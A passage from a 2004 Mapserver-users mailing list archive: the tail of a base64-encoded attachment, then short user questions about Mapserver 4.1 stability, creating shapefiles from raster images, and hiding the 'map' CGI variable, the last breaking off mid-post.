WwcPLZ421ZoL76agVVQ1v+yWmpS1HOWdPSv361MGYcuhYOpicyv6vLKnVx53WVDR0w9y9mnN b1foK/AhAKl0sE6KBXpKBYhg7N9x+TGvZFZedrbTFMGBQdijUSp+EPCrd8c7OX2kU4vxcwHF rCzNTsKgEz31XRK/uRTGTb5K6b6PE9YFYrVMnTn9MTrJne5AmVQQmEhiD6sJWQiqo0EHrcWV x24CNhx9UaZnUKoqSd4k3tuAcocoWjJQhSkq3LOpNvFm8jTlw5PhTZ2pNLXTsU6N9hAFbgDM MQhi4Wox4RSW2ZbymmyCeZ40ntOSTZqmNKbLqtjxllIETRe9T7OSMr3kNr0ctZqVfVeoonDl Pei63yxa5ktESoOvNHMVUfhjDnyE3h0fkNIWPiLGRBR+ENoruDUvy8TP4Qr1X4WJdO0fTfae Ykzo1/P0hQKhhhUZmQ6Fc6EOT/WNXYw08emJx2wlouitoDa1l2+NVBgTIsVhsSmzUTLaCyja cUqdqosCQpNl3zMa1Hd2Kv2dtjyh5+atHMmaxWnRpt0Zmg5/Dybu8seT8k3+9jTK08pNxt40 wtPCTc7GN7rrj175MblmvRyJmqF/lmVLtSt+OKZ4fhj2mLVS459PHIbqo2BNrynPOeVkm4+q puFiw/L4+Foipj5WSu11HZxAau+WHaEA5efmaRXFl+MA7SLSjM8JpQsACwiJc+4rZf+hoNx6 GYho4bVGtML6xrHQmu8HJgZnkBcM6yIdiulII6TfJeAl2b4i1CTai1EaDqJN04QIQFVRvDF9 oHKvDhxzxIgucbVmKHv4ohHuvXRmUuJBmI/xQEemGujgZBEStuTWbWGZC+kcTnpBUpFaSk2l 1QdvDDv5zuDHYjNCAiloMyIDCiNEaujU/jq6ZASYDYcgGtdYCt8oGx+AKJh19fF9At+ug6o8 VVaKLWiaZjewuB3YRuImLGJiKC5DKoVF3pnMMNlwnsLHdMXLVdYdeZDgAvZeh3zNNgp3atFC fT9ApypgiZ967DlaYEASkzs/PBpRoaMYqy+yAtUpqd81UbHmZ4NfooBxqDKCzwVApGQnS1vD j3QgQurfgqPaUgen7sL7C7kZYtuXTKzZXJolF7OWVaSFbB96C/6G+IJ1QcF18GSF/sTzC7d2 FPeBM9WP6rLr2USbtoxKBFdFH80vERvU7rt/yhaDKl+nLOfZuvTjypjFm5DlUO0a7qhSgfsq S6TSqEAW7LQc0exrVIQ8yMyWu2QrwWmsjAY6MaLixlOYWEjnA9io5ZNFNcwV2uHBq/a2iVQM RV+BBk3hFzQpGSMEKV3hlM87OqPDqhLJkxdCFRYLPd+YdFNqrAlEifi38o8BpCKAcaDGufRk qh8YvSZuiFBjuD96YXlrCe51/otcwiNYoNEBS8r9hmTIav/Zy+ZIg8VCpXX9xGloGUu38Ago qB6pYFdaDJWrXHvoahFgVG/+RCK5T0WJBGVYGApiWMbIDKQAcwR47oixZepbr4yrPp2E6iKj R4UobWHDuG6J6ea5+KiPC6UgEJKjAZilJkboKNCs1qRIc87JcbTUEd4Cqt8kEupcQH42ggpx PWkqCWGjJsWfIUbexFbqujB/rta69tSS+rzV9vYtULbSqB4OUCVURgPOFAIykROubT8Oysci xoHEhVaVkyC0WtS1AhrX2Gk229N6QG5NVlrUBHxVGnJo+G74fzfxcerJI+IktzTQTPdYfPub dS5wiPsUmBtXVIWvx6i6g7LscUcurudXlkO1TQFbdZsDkLFHTYcpQFYMrTCEWngNyw9q0x0W +gvp1FssOscE2t+g9LpZXQlyUvvNhbgCSA6M/l849LIQZEPE9iNxFEICZyZUWisXd7xc9iIU mBgDxtGEr3UeTjbk3H6/Ue3E3rY30YJSokrvkZMN/7JV0AeyZRVRPQo1+FC4VLE+Afst5OJa 2Zf2uVY6pw49PUw8iL+ZXJWVeOiSfqZmpbXZm+AiVuCfZ6QR/qj6hB0UOiiOt1YFlKlgPB4G 19nChcc/DoqgSBw4GrRVd0LHJhZQ8V86pgSbERHCVO1X9EYoASf5CWkOegfSCWc+tEAdhQmL /ruoZ+zk+HV9bdai8eFSDqJckhiaupUqCcRpFM/l+CB9hijcsojL25/NHHJNFXAz4eotFyHj q3WU3NzUV65uB2MkndlVxGS2cqTO30376D5WcAXB0oIC331GIBiCe/I0BYT/M4ge0It4NUmT Lh9JDD/rKG5XgXBXDPVJ+Wi9d2iqqL64eEiAfovUThlgB00JnylW5aaiQ8oL5FsiQbcmJSTB K2YAqhLJjHce4bqppdFn97ciBr1oIWgOCPw8uM9Ds9LXvfOjkPXjOttTIa92Ty7kYsPO76Jg 3UH6lqChStyMRGOHG6nDJZDHrKOY/ScA2FScVte3KKT1yBh07rVaCwfhfM7nlqmhnZ2MmhZd GmQKD+i3MOcea3jtwVzxPwcslWoVFj5BuYiEn6vSLApq/56JnRtXfla3yIWsfi2Q5RCf4B8F bBSUdh3FQ0n5qUAbCCqRdRy4WBupp6n0tftlf4B7p+qvp6Nsb3QGymCgKshM8NsGAIDuHq7H XOSGMeUcEX9xSHmT4gkCB8z1y0o3g0mMjJSJPZpw4lNqqTMkJKZIGtKcMEKIFQjSoByyBQI2 KOks64BeiuoLINkictuCyM4IUqDTIDaJv7zOgFVBKoz7fq+g6hUu9RVraEnX7Uuyg//qJlUB 9OYCSGCloF0/7uX7xR0KyOVf2Yy9Ul2Rcb3F2XhaGNsA7ROn1+vBpToMQ8GFlTVFq5r4A1/k v2/VWCrkSbKS3O3uIq+SgCmknYLqu7qw1tw71SO7g5dfT08l4Lf1YIBixWkUYgBBCnHHQHNE VwBzMsxFUQeVKNETbT4VjKuMbaAzbIVkQbayAQHbEtpusOJ7uIdIfoCiUwIKSjx7bb7MALlH NDAC28cpA5Ev+2K7NV8BdqYlXu5N1C4dDX4a+hQ68dU2g4M+GnA6V/uOBHBC8Zd3yclK0adQ L/5GUe7HK4rqDSCCx4KI0zKXQ7kClzbECu9YDDShvD6oP+rqHVS1Tde7KvLy9fJOnxQu013+ w0HK0O/YJ99E9QSmM/gXjElo146rlK+YquTjMDHfScl0571APdz6261Bqu9FrWagZEoSjxqH aEmoFXoqMt+HSzRXaU8w3Ey1PWqvsULMWxGIElZSKIAjR/inq+ObtRqVDUfpN/mH+XXcVemt bkRk2/21pF1eApwqWyCeVf58OvaqeQUCOUwMgo6XzbxOq8S9hMdKBq82q/r7WCFgGURggKyr vnlY4h7idmjfg5N4MRXOiKJRCoObKmIoZvCyUyl4smQRYxykIRBnK9TbZQE9pX4CMixOVear vKR3YpWI1X+yYn9a5lTgsKxzMRXbIeWg1r/4rQSAS2MRVFD55vSxIP3JVcm1fWRfGoENf4b8 3nYc97wENx9S8Or48yLfOb2E8OgYcidtqDALVB4Nllma13mbGBXUjVSWi3VmK0DrDimPR/bt VbXlaYWZwo/quiXEgREusghRmXvle2Sd7AFGha2ChcCW/FZAPSA2eplnP22V1ORB/Ol2X3Lt zaUBmNkp+Tf3ONd+VItALu69irAeohY0IuuvOa8t7Jb5tFV5ghfGBF8QpUl2Ohhe2bptSzNs kxcz+Degj/MLBjKNJiuw5Qw+VDkClcvveyni06yrIRjwkh/ELT71G49cDqQHXy2csJKbt1w1 Ql1wrXVtpizj8vL6SO1Eo8Zukif7/VTajaFqBfqJWa6TjOhxGcgrGg6rsZRawg1Gb9C7+Qky UK+LVImHG1LwCOCtHRZiJ17imMTDqHabG4pF/UKr3/lVVnVUU3NookMSKhET+pMlMddPKY39 fAiFcHdXtx7LYkvQ6kn0eryRPhX6SkEUO9VJBlVewgBJrtwydXGJwskBg/X41egqlkEhoODu QkHhXRvU3rf1dqNwNX0MT6+8lYd8rGpJ7jasrv4lyxCAIgXGqRSropWDKLiN3qOWTqeoDwvl xSmRMvPOu8COuwF8g/J99PCeBLNRaE0OYiQngO9s4WdX3nOfgLzrVrJIMvYZp03BIVzbfVZ6 eYo+u/moDr0FezXC8jPzziIlKlkgFk+fg05VPstAltPa4hybdvaqEFaWfoMCCcSAAYAAj4CM SwZGRXwCPfnHBYZD7QbjCMw3ABFg2DOfpG08vATgYr7qISMphuQgGZEvD80LFVcTJ2JPcv6k sbHTlMMYtV+dUHqMrQyrLH/lFKpDbQxfltaoqZYWmCwY+umEl+8qCW5gKWVJOqJ6p1U71fvJ EXp1Ste2pWP8sq7g5caqCsf7bkQrtYa6sfIjWr+MEfw++SaqzWq5rrhVbl1rQl61C7/pjMay UWrKdNxDfa7Bfv6XAV0fHO5OrqpXDh+E017rBgYYjgS9B4TDp6V3WvidCJ1YfBOUhHVl6v+q WzL/rshHUKrVX+49trro2Iu75t9BvUHFe07XZqZKirrDOg25/0277f6NXAHqlkieVP7IQ0xl wSv/2vqAvMrhYfEfnp+OD/SII3fyloDVjwnTjEYvqj17fmHlIyLJNf8N+PcgQ+8ugVgrSR5Y EDFVAQxwlOifngcBE31+FQ97en95WkzmsMO1YDDql0vPd4QBPrXVz8uiqqZ8Vd/XsNPNAqRo Y41g4XOcHHlSKoNAfU1RU4gqbxMhy0ujowZV8oSKxY3IFgqjB43Ck9vss7IxQkRS09fGtbyg XJdkK0VVU8tyy5C2oDePNVIrGQ9vK1mtJAtAv3Mpz1vzGsfB+oNU49NwDK8OGMWf0mpnNCGX AzrQvHq/fSsdZZCCTuBf9f6OQVwpejKlT11elvFdK2SrEu44mryjO2OvAB+XifV9oR2ScT0H HjRXKVJIF18gH/QVaEqg5kCe5dIN9BIrma+hkrM1XGDD839vNuQk/htAjmQeV8torFRdVYt3 hxXW0N1IHUhN0XEKIt2u9sZp9hD/9ytjGPV2/ttww6ir4LzZL/uNJn9pIgMbAuF/eIIR7MGf I/0D/XQ+CVqXshwdoEwDxToONy8yQ0MVw41mp2sWiQVCOQgmDjJSEZZXbOA+Tvspg+6gGkA6 vmZ5N4CiyIqdAq2g/nZNTLbXbCSIrifSfZl8a3UhP9aT/5qLoonIu+jByqjlaDDFrm0uMol/ LjUxgHy6RTE+TOFfkl6LO4JCsBYtx3S6BTElX8H1dyyubfwoXyNFfooaEioZbZdBc42NE5B3 3MFVpt/0Q9xtdGv0or0zZTwQELXLhQC6EoWtTcp1gAtEwVXy+7LhfbxJ3Hq9PTFrmKJ3dd1V sIuuKDC9FyEF5Wlk2+BMoylcSy0FHSvAeA5XuwZEFAI+G/zSSGl0oH8C2orke0hQcyEeAH2j 7+kbPMuVA1ijGOyRyJWA/uc2+FgbbzkJRtQIiHu0AaoSQLgtwLwbrTXOaqwmoEytracz/lpX l5kAEGFYZ5PZFjlrrLfGVNF7U6to15dp4qRHtYZVKICNUCD6CCeJOTWqpxoXH23uJyypF21Y pRU9gW2vIlHZq1PpOiZHIrLCGaeVFE6KIYMh2SL/f4KIMVvCVOjI2aCd9ZjaQVPqu6eWpVkk 7O2Wi+i9V85Dr9DhpN7yUo7nW6o9qSUzRI2X0NIzj7OcVbo2lXLeCMkj5KDceoMDKuyvYV8V LgXqvRfrmoyenCpGBxxEWWK0jGadmPdUPYp/FG2fWiB3PJskiiFCkQdZn37oytWXAUJywtqQ ALTKA1jIHCzCwuqOSVEOL5SW//Iidh1mKupsqS8ciNqA3foVGlAbtJeUexf5b39oqFq33sqS C9wQ/6Vn/AbJAWOn9mZAa8Z0IWfDK5yQKJGEI0qwenBHo8ZoP4A4wrEOR8La5vQiwbzadIMl VbZe6OdygBl3hCQHjwrpNWWqTSAPVLbSQGqWKPU/Yur+PS9pMPxPukkol2r8WWSgu6VQ2bE8 llNbWdhd9magfUlZVtbIVHVn93umOCVhT6PeIgp3kiKfMu9vL10DllLhX/4VLkOUgHsLh839 0hXufLN3baGPDRPndDX17CDDGT0FqTtHHrBXRxOOajjk/qPgqcBTnK4FKO/wtPMxCMUCucCL Ctz89p2IsyfHgMnCMWODb6G0px5MoUt52UrpwhIH5IcW75t/iOnUTGJSZfqlGHfbCjwTgQdl gh5RZzcT5rkDKkkPs3Jj6paAH0PbUNsMqIR0tOvvZ1A3cchdef6ks9ZVz479lNGopaG8qlv/ ATy1YIGNLJEiaGOpRVxj19TVechBD9VliaCK6XZtf9y675p3K8RqfUQT0uEHPpwOq2jzaCjS H67cCu2BEZwtRIJ4BLxwxcIcqp8k5AA/cMSyZ1TzWChFOgj5VbDSo4O+fVdVzaJhYZq67LWl GrmFy11WwhVWtMf0IT7kgI78q/RFO75lIkl0vbk0h0kMNeAj7zicbncVFTZUkLV5XL13ZK4t RYeq9QIUkhtRICi/+hAoRTnBPxW6CsqqsBJlGkjj1+rcq5irGfQfEUA7qJh/87CV80K0E1WE fIOS4kkfg9ah8iQY/ZXdFlyNXNpxqQBEBinMZf8Z58i+1HJYUZ0Cgqso6qpYQZLhnVI6KKND WkI1RWu0qq94/hEOd/Jw8PDXin3wX+iinm69glpoWlY/vxTUUArWZyOgaSNPb07uSyw7X7ly VQnXjPfFloy+Dj64djfyA7wiJyru1fQ0JQ7caSuXzV9HyU9D9BTM31vrjJufV1Nv5D37gfWB 06JlZ4wn1PzW+xakCFnnUlNqPxBAjtcHsu+ux6pdNz7VpKbvyimDAaHZv1XfuKDVzh3UanP+ cRXbnGyKgxnxinKJggsFaAciCkYg66WL634dJPkAZCAvZV+w712pnxOFJ12jLvd9FAUN21LN +EALuKQLQsJ/bReFTAm9PMRU/dwLNTpBO/p7xFKv8sS+vPqrRR/3AycpCY8XZgEo6GYsgknL oEPy9ouPfep1MwyMiANoPLonBQjYVnNd3GJlA6PuLmgPN/k3U1ra39GIKOwcKqMTu34PgMLI NBq66FaGikuASTL0sR89SPnRKlj3SQwxXB4gCu/rLW7y0idivmkAFtPf7pmQ4JO/hsMaW1xk vnlf2gquRKUEv705HgdkehC18avyW9V/uOVv1dRdzaEUHyD3ScsViFDMj049rnFtKPsNf3vV X23NtpDuMSRJIXALG0C0Zg7r96cqpqwXmAKnaIlfdc6112iXRaqlTIcHt9D9BFTO2TaCxlJ6 Roq+YfNVgRhWCunu8/AjyoGQzlSlui6e+lS1kMXTJvPoNpdPIm/eRaaAX9V7nWBAA6kS4krv uffr/HEKYYL7ImwPINuXS4j+6nHqERaLA19Kk1sk5bjaplpWjE6tdqArjS/uEh/HLITzb0Mo Tx2QFeK31bBEUhIQKJDvrbSobdFKmpWvj49tC+pFRBtlHr78tEmpvuEWJPIMsruhZ/19lCfI FxMKAq7W/psC1EjmfQexlu2N+FMjJUD9Fxp/Pl0dC/G0zYhEjPmHS8rK/gn8BFn4VDwqJJdg EouJjvXeDR7CJVkUFgvpe4VXQAB4ISMBmkLvEhSNB5YU/BYGlHmymkhI/zwGn+V/6b5hVgoi YZ2gjWWfU9xnukrWxw+7ZVqjR1kP+mts5GD73zydDrurPLFdd7AY3waCXwajeSa+o8PFT6jn 9RVt3YSF6p+G40lFB56NtEnQcPBFQi+COGF1KsyjeTrw3UMJ8IEzqPgp6FVQ9kEVtEAZjzZM 4mIpbiu4bGLPgmtolWim8WMukWBHuUBdmL2P67CqgSr01JFpyNVXU/MhRhWocWSIc05fWE2a DCsElnEZQmcNV+2lm7YhHYaAv4qojGWptq2g+6hI2n2gftWXrkA2Wj+DD7xnwYoGxqDyqBLa Liulw2TrJAYiqg5KfgMri++gtxMRRLXztjqJ/60UQPNQ8hFK44oE7+IG9F63+MWEvPxginmU EvXBZVi9bgVhzub/AAmmtH/dGatWhwryhQq919TeLD4FLgiOr86/CQBC8XYLxY24+M3XWNco gkMgJfwl+ATbZsJBqVOmEXhd7SrdKAYa4nkF93vwCGLjq3n+qgoC4gUEzwa8lEM172Fm+/gp 1HX83AbzfmiaeFUzOnf6XEoMEu7dJlzxilZQhRGoswYiEwqKtP6aqHFPt5eW+FNLksCnS65I f70rz6yaIKM4JbXhMSM6aTNOuGlFo48EQLi26/uRWy2d+C3TjeBCPms29UToVDQGYmouKqKb LGCt5KJCLOnokGxFIzYkRhEWKCZecNuorMBoWaODWVCIa/2//FGAOEPVz4gZvnKucSAXT9ff l5BpXYVIYfz08/vKejX/KEGec8KKlweaGexudPPffvJLonWXzSo4HtCMsRx8cK7UsxNvSxpl ZvQ7c0lBbV/c/rk0FzUIq/7R6/LWvRjX+Y2b1d4oFWR23c+eyC48moPIAjjwgohpImMMeIB1 mnFoTS4gzqyhh8goKyCf8jcLU+TyxpjlcuFpnaaptZqxaI3Xdz48Bob8FIWLFb1u3c+paqBm 68gbbJqCiJBqIPuI9QnPpsvHhogXPCOCsqgLyBk7If6iZApbZKHn5q0cyZrFadGm3RmaDjXd z4rs+oWLFb3w3c+p9KDIrtX0YBBOKHZBKQGDbhYWjvx0Uz9jc6stK3tM6J6+C11CewrIF19D KhoPJOkjrev7S9vQgIPhaTGuq6SkQhjnoBXIpcr0OAo7ppf7gYFFjt5obF9mk91ZV6FRlX2O dZBFTkaLdc12d2Iqt/sYZ60m0cVayqa+xjlWBH3kegiPUbbxS/qWilpG+yhYq0eKCTX0lK1X Vthkoxp4sUcgv6YWCEpaIkt/X3D1JUC2uZcpOVmHaKoUryt/iiKAiyXHDI7LDgWy+/GAszy5 7IWBcJLStVKZ+7aKkjboGE6mfY9mwkmmCr/FHhd19EzxdUmonzwDRLjFd4SDgwXbzbNdSQc7 IqLPcCyTkoc8PBD/+qTTKFgNPLJewqITJ271KtUEkep9qceiiLzw+RCr/3Kq4aCt9XCoO27c 63kdJx5pvI6R6FG7nFnnkE56C28mXhrFC8X6IacFSAxMJCMYOTY0ANNOwMx4ajWMNJbTmE1a QDQw0yBNMgI0HsnoiSbE9JqUaZymqKSasGlEpigcmerSIgDaSQymOiKa2GnwpsbcmqZpqKac jJl86ySO05hNolo0qNPcTcLoMhA6SRqSFD9MDowmkTIgJMrT3E2OhDT60+pNytIyKk9JUOBq OH5hANgZymWOTHUkgxTDk+5N6fk0/tPnTd3iNNbTyU3PwjTD06FNyc07H1lG4hi2tEjz8/MA 6+vr6+Pj4+MA6+vr6/Pz8/MAy8vLy8PDw/kA9fXx8fX1+fkA5eXh4eXl+fkA9fXx8fX1+fkA BU5MTkhOTE4FQE5MX1yNsJEhgV0ojuHAEBQOKzcAMDl7PysqOCRtdaAGHR8cHc0iSkyLgxEI Dng4UDN2Gn59bk6JwHAXEC0myEs2Oh3wFXmOgWZ+MGZgZGkha2VhfZqFbGZjcQvQ5MGB7Kqb dcRVnxCCx5WVhYCDXIa8sBS0rbDAo6wZKaWnc5CIfrgVxkuaiLMC8fUNi0gKEt5bQLSbUKoS g8xMCMUEutDiLWrx8RtFJSQ4uK0ShxutxuC7fMIWH+XHvklbcBUimXxh9+U8mmWixToMSxmh HwUviIhkO1xag9Dh2KuwOai3VKjNopfYQMXb3B5teuP1KCLhpdXjHWE1BLUUVRrgSwMBChcd DwABZw89LPR48WdvZ4+aD2DUUljHVEZ1RegSPwVxfWl4Ebt7fG+AaL2fWC8dHp2VEoDFVJjQ aN0MuYXydJdrwD0ytbVRhqa9VFaKC+Ps5pf3BAvx1dnIWVDO+riNtYZe43aA0VXOqEattvy8 wEuPsoUa4BoWoxcVGIYMFEd4AYmRnUslzaxDOCUECBQTPy6rGtaFITMFWEknIb6ZCSjiKhIl UyZPtoBYT0hbXl11A1lNdTNHQqZQHR8CT7p5schHdJN3DsvJD0MwD+ECbAwSEml48yIOS5YB IZn4+uxn7yl3fwMZb0lyR7mkc0y7BbpJBbmPn562Emyh7wF3gRKGpq27uGnFk71cS5vfhruT g5WZ+Aj20NuqnKqi7YtntJup93vPyv/zuLsklPfjfvuSFfmVGiIyJBkJRh8/ERo77z7xQQDc ihuJFx+WZtI0ywpdzXzVJTcMc1IFzRMvC3RcQEMLZ3OJhvdvOgNwuV1q9IRANGpiAV9TtX4W U9VYb0mJhUGQtoGB1FueQlL5p4ziNiDb9/HkvFuKbd4DS775HpPTisyb+hipN3G/zmwzqrBK rzPfOMf86pJ9sbopOBgRprpVqjT7txu8pTNBPu/b6jr+YywdOQq4E1KLmGVLX45FTnRCfDJs oE+RXnRt4AxPZnvSK7+fFbTVo1Koh5Sx0SWmUBb0o98WzzuwKjAHhrqAPi5VpkftxUe/gnVL X3Cq4ejvs8StFO7voKcyaz8CMiXjFQPY4ltP67fTKgLrcc2dEvnt82Nl9+qMFu6IJV8UdVki mocPT3dwMBZ2s6K6fYvq17tqo/svd79gmVDve/GNmj2R0Zk68pOsoundlheN3iz5WcNvMlRx 9rjtY3fk/QpVz5nRIA/ULPEqKupoLmxPzHvSjCYx0S7PKidVYNihe0ILelNKlElUS1Rv3B38 CFCndmDWGFWi5w1ZplbDcEN6Y1Sn4uiO6Jsg6sX25FueWTPoHVEG0NvQWZ+hhc7q6f5RIj/I 4F/pwrVAODB5P43OtfvrDTzbg8y9G0hpcSJtXhsAQP8mY/VVg2j+HQopTB5b2ZUZEuQrVplV X94qQPSeBRVMB1F+4gLseBRQAF1COltdN19bEVJWUTJVS9zkSylEXlRQAFciAjLAoZp2AORw 4XSbIat4HHpO8AJmB6XpiGL3PYFu2MdjJtmRALbVgyp8KOUDg4NeZaDRXgAC4AU6YqegWSjL eRTI2QIj5ubfNbyQyuzZtBCDdMaQUK9xpIO6hUej0Le6m6uBVmJhiPGXpl2wq4Drv1W4lZlG AEWazf5ZDMhIBk9kTSJ+En+QeCpDDC1hbv4DdiuLLICAM9qjoCwj8CH/pRvKpaYvaMBMTeSP iUgfkNTPVc6vgPQISjWDR34X+nA7MoFMx9r+M6qNJ9ejMODh+GCuEPTkIbUWsmjUclRS2PpY dYaAM82i++oxMpDhjewNy8lHb0n7kqK1OEwbd1UztrATtCTCQGsirCpuowFNYKdm8vH3zagJ QOPpati3ALrsjwTaqahNAIhgo0UFbYEKGMCAC+q/WnD0lHLGlFnS6WVRr6ONQKeUy5mUs3wu QgFZoZCwLajARQrQlkggWU2YwQhLCYlAxn5DNlN7FSW9JeosMErHQDDyOjLbxjvpK6L7DEKr 0J3J6ucaT/36SrPbFW4XoswtUbPU80pzC4SVcWO7MR3ykSasugWKag3pGExJYNEIzlYLC1AZ MEIGX4HZg117d1UcMIecnr5tYZClnLQAaMsr0cb3FvL8/oJ6DfGCHyTougVBf6j4qlslCH9C IHudmf8NqfSN5AAgYb2SOxt9ZFYYcppSYCis9QQX37pZjNAqRSiZrg9VAKVLf5k4qMJDAHx5 rDdMfalLFzQBM4y1e5U3zSEaZgsx2dZaL4j1rWKQH6JTBsYjkWr+vBqSE0gUhdVWUPConbNf QcDtnnBlzADAFAivh5bVfhRoyhp8w5MQTQQ4NCzT4Gf0iMyawGm0pqicmnBkhA+YmHKsaaCm 1Mia/GjQMihgCxwlNAIALj5nKz0bFj0IMDYkLZhzSKhCOUzbmERyWGlMpnB0mmxpWKYkIJo8 aSimFBCaDGn4kgSATQAcNAjTNE0wLDQY02BNWFA0tNO4TaykNODT6E388DSY04RNgIA0hNOU TJBk+ZJsaVimQDCa6Gn4pgQYmjBpKKZQRJpMaViSoCZNtJg0jNP0TeCsNETTWE1oaDQYGQA2 EFiF7Gc/YcncssjETaxcNGjTdE2csDSg0NBk/NPITNQ8vJMQDk0AcDRY0zhN2IA0pMlQ2SZQ UJpQaXCmcHCacGlQplBQmlBpsKawsJqwadCm0NCa0GnwpvDwmvBp0IgyfUamPTiaS2lOpkFE ml9pWqZVUJpzaXameXyaZ2lipm1omptpnqaRlJqPYLGIk5fEBIWLjYX/QK78uq6tuQa0vrCw /bqA0U2sv0W7iq+iWdJ2jKLDfOHBydG3AoPOzs/0gqiRcwEj1+ayfYi5AoQODNFy1RcLDyg6 LAgofpgb2wAjKSYxDy4nLzR80Um3AHNcT0tbTlKi0VNLR8P6YGcCZHpwZnFlD1nNMNvukGeB koBipYaYLj325UoNng+tEWegi1RQ2kSx9Ybw2sZWwMhpillJ8vVOCOWNMjwZtVUqDjaJacAT Eg0JPK3ENTRpNAA5I2EaPCU8L74sM+DNgxsdGB3fFulAzy30YWIccWhrwOXtlaaxjJWQYZ4e hZerTZo6oA05uf4zTzxasQ2X8moqvaPD9MTStM79MTTHP0yzzv0xKDHP0/PFv0/PFrgBKTGN UWITs/db7VdmBviPudb0BM/UqGCZeaGvUJc8ub3xwbilrxewsLShxb9kM8upPo8bDG6kxzbE odqWWe9jKB7znyEWVtnfviWmN3pi1pCjNYcdn0jmoXdzZDdvmZ5suLDNM8WCk7Sns/Oa58wX vbGtruG3FvmbouXXwWUryvdcvZrQ9jzRR9zdaUqb+ppKxMQfoNL3+AVzz+M6K+ARUfn9hPCu QuE4CQ427UUUdPhQ0wRVYm3VyLefXKtpPxXt6jroZ+SzcW/vAUIlMGVpUWx+fkZBc1taU2om FXfyRmkMIC0cGhgaAhwSEBIcGpdCDnt2adzo9HF8sfM+fDxBanViCt8TX8cBi4yVCZMUhyK+ ugnadjh4jriVKuOAytfThXjr0xwd2QFj9nLIY8iJngbn+hz6pMj/8uLJ5kEGOiAgJ1QyNPAw QzFDmlqw1EtAV0xQVm9wbWXjaW5jMWFriZbnpHJ30nsZDBAOrR+1Be00BxvGqPDPt+USiRQu K316Djom01oiqTo9vjI3j1Y0+slCzm/C299NLOzx5O42Q/9rO7PLDySalpup8mSTrJPZq865 48q+PFrhPQt93WzlS0FFXVrHjVLuElLeasy48cd9PjwMuO7fC9v02gtnHIpwaSsrvjw7rRk+ nSAxdnTKp+OWlrga7DWHft65AK+66c2UysXBYZYsk1Ch063tEM1LG8PotqmNl4c6/JeB+tzE sf91nJX/zsMl6dLbyO7WzsOR8BnR+uPve849ho3W6uw16iTbaHTC8Ufr/LbEVSvbyCwCE99a HPUfFmFhejkYMi8x/hpwxvh1eoznlguW46xq4sfPflOlbCQbYVpG6UJWWAgAaUUXSUZM6yFC HgNA/5aUKCkRx1Z4Uq/aS2W7Rn89SpVcRMCgVfHc9XiY0szttoRb5QYVoqp6rfyk/esVW64N HdMNZjbatqNW6Hve0s0dypWGs3mG8aL2zDbQVP9y75TVU130whDz0lQIzkoBVPhC11EEAiUu KyBEBbpmPCpz8YEMfh8CHX+ynWEbMOy2Yj201Q8DqFABN92Dmhs3nVYZpxYcViaJbn7yrWRn nZHIrZ8VgVkvr2AizbCg4eW6BSu5gFHQxJDqBOGA+Q+f/Zznn7uEexA+wVyO2Cr8Hbfsdqn0 zMevKWXedwaxzIK4ePX0yfyx6qt04VQVGrDrogcHAD+C+p/kCWvjHgocgMAKFAYBdAdSHctz LWhyQAUGDwlkIgUQDdEMBHByOHp6zHVnxyZ0Hgk2DAv6oIQ6NUffuRVrkJxDZVOvddgAokS+ iYj1r3eohZxCJZmwEDC/tYqN5Sqp4ttFfYvJEYyCf6oimtYSnxr0hBXz69Wu/iOYg/r17e3k vLrVuvNQ19vTlVrnxI0f7f6kBuMgheCw5vQ68BtiziuLVDYiJK5V7ecuv95FFhIRfFgADxQc DQ8WBHMQZ/JgrLamxvqbq3wHMB1XfqCEUmRAU0NdREhXAHFMPkFEMEExOTIsNM3I6m0Ay7q+ 2s+2zMQG38HArq8a3usxAN+iopi4qoyx49W9o7y8rrZG9PWcppWuqVHoifzvd5357UGO9T8e qKrd1Mr1ZejKCyG11hDTeMJ/ya4FGVEXaCQaA2QJr3Cn0zZaAAD9ZRJRUk+Q7jUKwwsWwTxD GJAGVZFKQxB5ZgVqBHlBgii1gu1PizACRRB2Xamxqn3AP/5hQcwScRIxNfE7xGU1yCAyigsm nQSDIIqydwsgfLJxCyBGslsLML/kv9O+TTxTgWZutKBxmg2EUmbJjois48bT+XgcjqZ1tJ0/ sdjqX2MUyXWmLE6acGlHkqwtTVSMO2Nj3MkmplwvmhxpMKYsXJnUfiRl0/xNbsQ08MlwfSz7 fz49BPhyFfXx9qQMSPiIZRqfZ8XE3TF6BMh1doIETVQqNQGEvUIJFEfBeRRsFn547B1OZY/x xFE54uglgybqlwj1svdOgrfzuO0VD956k8kDfS4OFv14//p9CPtKxSwqAtjS1+j+RTV9MoAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ------=_NextPart_000_0013_00006F26.00004A6A-- From gis at schnegg.net Tue Mar 9 01:43:49 2004 From: gis at schnegg.net (Frank Rittinger) Date: Tue, 09 Mar 2004 10:43:49 +0100 Subject: [Mapserver-users] Image size out of range ... In-Reply-To: <4048B0D4.4040104@dmsolutions.ca> References: <404705B0.4010506@schnegg.net> <4047580E.1040400@dmsolutions.ca> <404835D4.9000109@schnegg.net> <4048B0D4.4040104@dmsolutions.ca> Message-ID: <404D91D5.4070801@schnegg.net> Hello Daniel, thanks for this information. Just one more question: Is Mapserver 4.1 already stable enough to be used in a production environment? Thanks, Frank From pramila at darya.nio.org Mon Mar 8 20:05:11 2004 From: pramila at darya.nio.org (Pramila R Gawas) Date: Tue, 09 Mar 2004 09:35:11 +0530 Subject: [Mapserver-users] Shape file Query Message-ID: <404D4277.9010001@darya.nio.org> Hi , Is there any way of generating shp, shx, dbf files from jpeg or tiff files From eduardo at consultoria.eti.br Tue Mar 9 04:08:45 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Tue, 9 Mar 2004 09:08:45 -0300 Subject: [Mapserver-users] How to hide the 'map' variable? Message-ID: <20040309120845.27158.qmail@hm47.locaweb.com.br> is there a way of not passing the 'map' variable through a MapServer CGI call? e.g.: 